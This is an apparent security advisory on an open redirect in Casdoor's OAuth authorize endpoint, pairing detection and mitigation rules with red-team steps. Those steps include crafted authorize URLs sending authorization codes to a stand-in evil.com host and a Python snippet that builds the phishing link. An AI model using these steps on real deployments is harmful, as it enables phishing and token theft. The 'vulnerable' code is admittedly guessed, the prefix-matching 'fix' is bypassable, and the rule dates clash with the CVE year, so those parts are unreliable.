CVE-2026-5467

Executive Summary

CVE-2026-5467 is an open redirect vulnerability identified in Casdoor version 2.356.0, specifically within the OAuth Authorization Request Handler. By manipulating the redirect_uri argument, an attacker can redirect a victim to an arbitrary external domain after a successful OAuth authorization. This flaw can be exploited remotely without authentication, though it requires user interaction (clicking a crafted link). The CVSS score is 4.3 (Medium), and the EPSS probability is 0.0%, indicating low active exploitation in the wild. The vendor was contacted but did not respond, leaving the vulnerability unpatched at the time of analysis.

Supply Chain & Package Security

Casdoor is an open-source identity and access management (IAM) platform written in Go. This vulnerability affects the core OAuth flow, which is a critical component for authentication and authorization. Since the vendor is unresponsive, downstream consumers of Casdoor (e.g., organizations using it as an identity provider) are at risk. No official patch or advisory has been released, and the package is not distributed via NPM, PyPI, or RubyGems—it is typically deployed as a standalone binary or container image.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a crafted link.
• Scope (S): Unchanged (U) – The vulnerable component and the target are in the same security authority.
• Confidentiality Impact (C): Low (L) – Limited information disclosure (e.g., redirect to attacker-controlled site).
• Integrity Impact (I): Low (L) – Attacker can manipulate the redirect destination.
• Availability Impact (A): None (N) – No impact on availability.

Threat Level: Medium. The open redirect can be used for phishing, credential theft, or bypassing URL validation in downstream services.

Deep Dive & Mechanics

The vulnerability resides in the OAuth Authorization Request Handler of Casdoor. When a client initiates an OAuth authorization request, the redirect_uri parameter is used to specify where the user should be sent after authorization. The handler fails to properly validate that the redirect_uri belongs to a registered client or a trusted domain. An attacker can craft a malicious link like:

https://casdoor.example.com/login/oauth/authorize?client_id=valid_client&redirect_uri=https://evil.com/phishing&response_type=code&scope=openid

When a victim clicks this link and completes the OAuth flow, they are redirected to https://evil.com/phishing instead of the legitimate application. This can be used to steal authorization codes or tokens if the attacker controls the redirect target.

The root cause is insufficient validation of the redirect_uri against a whitelist of allowed callback URLs. The code likely checks if the URI is a valid URL but does not enforce domain ownership or registration.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical fix based on common OAuth security practices.

Vulnerable Code (Casdoor 2.356.0):

func handleAuthorization(w http.ResponseWriter, r *http.Request) {
    redirectURI := r.URL.Query().Get("redirect_uri")
    // No validation of redirect_uri against allowed list
    http.Redirect(w, r, redirectURI, http.StatusFound)
}

Patched Code (Hypothetical):

func handleAuthorization(w http.ResponseWriter, r *http.Request) {
    redirectURI := r.URL.Query().Get("redirect_uri")
    clientID := r.URL.Query().Get("client_id")
    
    // Retrieve allowed redirect URIs for the client from database
    allowedURIs := getClientAllowedRedirectURIs(clientID)
    
    // Validate redirect_uri against allowed list
    if !isRedirectURIAllowed(redirectURI, allowedURIs) {
        http.Error(w, "Invalid redirect_uri", http.StatusBadRequest)
        return
    }
    
    http.Redirect(w, r, redirectURI, http.StatusFound)
}

func isRedirectURIAllowed(uri string, allowed []string) bool {
    for _, allowedURI := range allowed {
        if strings.HasPrefix(uri, allowedURI) {
            return true
        }
    }
    return false
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running Casdoor instance (version 2.356.0) with a registered OAuth client.
• A publicly accessible server to receive redirected victims (e.g., evil.com).

Exploit Steps:

1. Identify a valid OAuth client ID (e.g., by inspecting public applications or using a default one).
2. Craft a malicious URL:

   https://casdoor.example.com/login/oauth/authorize?client_id=test_client&redirect_uri=https://evil.com/steal&response_type=code&scope=openid
   

3. Send the link to the victim via phishing email or social engineering.
4. After the victim authorizes, the OAuth code is sent to evil.com/steal as a query parameter.
5. Capture the authorization code and exchange it for an access token at the legitimate token endpoint.

Proof of Concept (Python):

import requests

target = "https://casdoor.example.com"
client_id = "test_client"
malicious_redirect = "https://evil.com/steal"

url = f"{target}/login/oauth/authorize?client_id={client_id}&redirect_uri={malicious_redirect}&response_type=code&scope=openid"
print(f"Send this link to victim: {url}")

Blue Team

Detection:

• Monitor logs for OAuth authorization requests with redirect_uri pointing to external, untrusted domains.
• Alert on any redirect_uri that does not match a whitelist of registered callback URLs.
• Use web application firewalls (WAF) to block requests where redirect_uri contains suspicious domains (e.g., typosquatting, known malicious).

Mitigation:

• Immediately restrict redirect_uri validation to a strict whitelist of allowed domains.
• Implement a redirect URI validation function that checks for exact match or prefix match against registered URIs.
• Disable the vulnerable endpoint until a patch is applied, if possible.

Indicators of Compromise (IOCs)

• Network: HTTP requests to Casdoor OAuth endpoint with redirect_uri parameter pointing to an external domain not in the allowed list.
• Logs: Authorization requests where redirect_uri contains IP addresses, non-standard ports, or domains not associated with the client.
• URL Pattern: https://<casdoor-instance>/login/oauth/authorize?client_id=<id>&redirect_uri=https://<malicious-domain>/...
• File Hashes: No specific file hashes; the vulnerability is in the application logic.

Detection Engineering

YARA Rule

rule CVE_2026_5467_Open_Redirect {
    meta:
        description = "Detects Casdoor OAuth open redirect attempts"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-5467"
    strings:
        $oauth_path = "/login/oauth/authorize"
        $redirect_param = "redirect_uri="
        $external_domain = /redirect_uri=https?:\/\/[^\/]*[^a-zA-Z0-9.-]/
    condition:
        $oauth_path and $redirect_param and $external_domain
}

Sigma Rule

title: Casdoor OAuth Open Redirect Attempt
id: 8f3c2b1a-9d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects HTTP requests to Casdoor OAuth endpoint with suspicious redirect_uri
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: casdoor
detection:
    selection:
        cs-uri-query|contains: "/login/oauth/authorize"
        cs-uri-query|contains: "redirect_uri="
    filter:
        cs-uri-query|contains: "redirect_uri=https://trusted-domain.com"
    condition: selection and not filter
falsepositives:
    - Legitimate redirect URIs that are not in the whitelist (should be added to filter)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-5467 Casdoor OAuth Open Redirect"; flow:to_server; content:"/login/oauth/authorize"; http_uri; content:"redirect_uri="; http_uri; pcre:"/redirect_uri=https?:\/\/[^\/]*[^a-zA-Z0-9.-]/Ri"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: If possible, disable the OAuth authorization endpoint or restrict access to trusted IPs until a patch is available.
2. Configuration Fix: Manually update the Casdoor source code to validate redirect_uri against a whitelist of allowed callback URLs for each registered client.
3. Workaround: Use a reverse proxy (e.g., Nginx) to inspect and block requests with suspicious redirect_uri parameters:

   location /login/oauth/authorize {
       if ($arg_redirect_uri !~ ^https://trusted-domain.com/) {
           return 403;
       }
   }
   

4. Long-term: Monitor the Casdoor repository for an official patch or consider migrating to an alternative IAM solution if the vendor remains unresponsive.
5. User Awareness: Educate users to verify URLs before clicking and to avoid authorizing OAuth flows from untrusted sources.

Valters IT

{/* [Security Hash: 69834A3A274AB8756B150E33] */}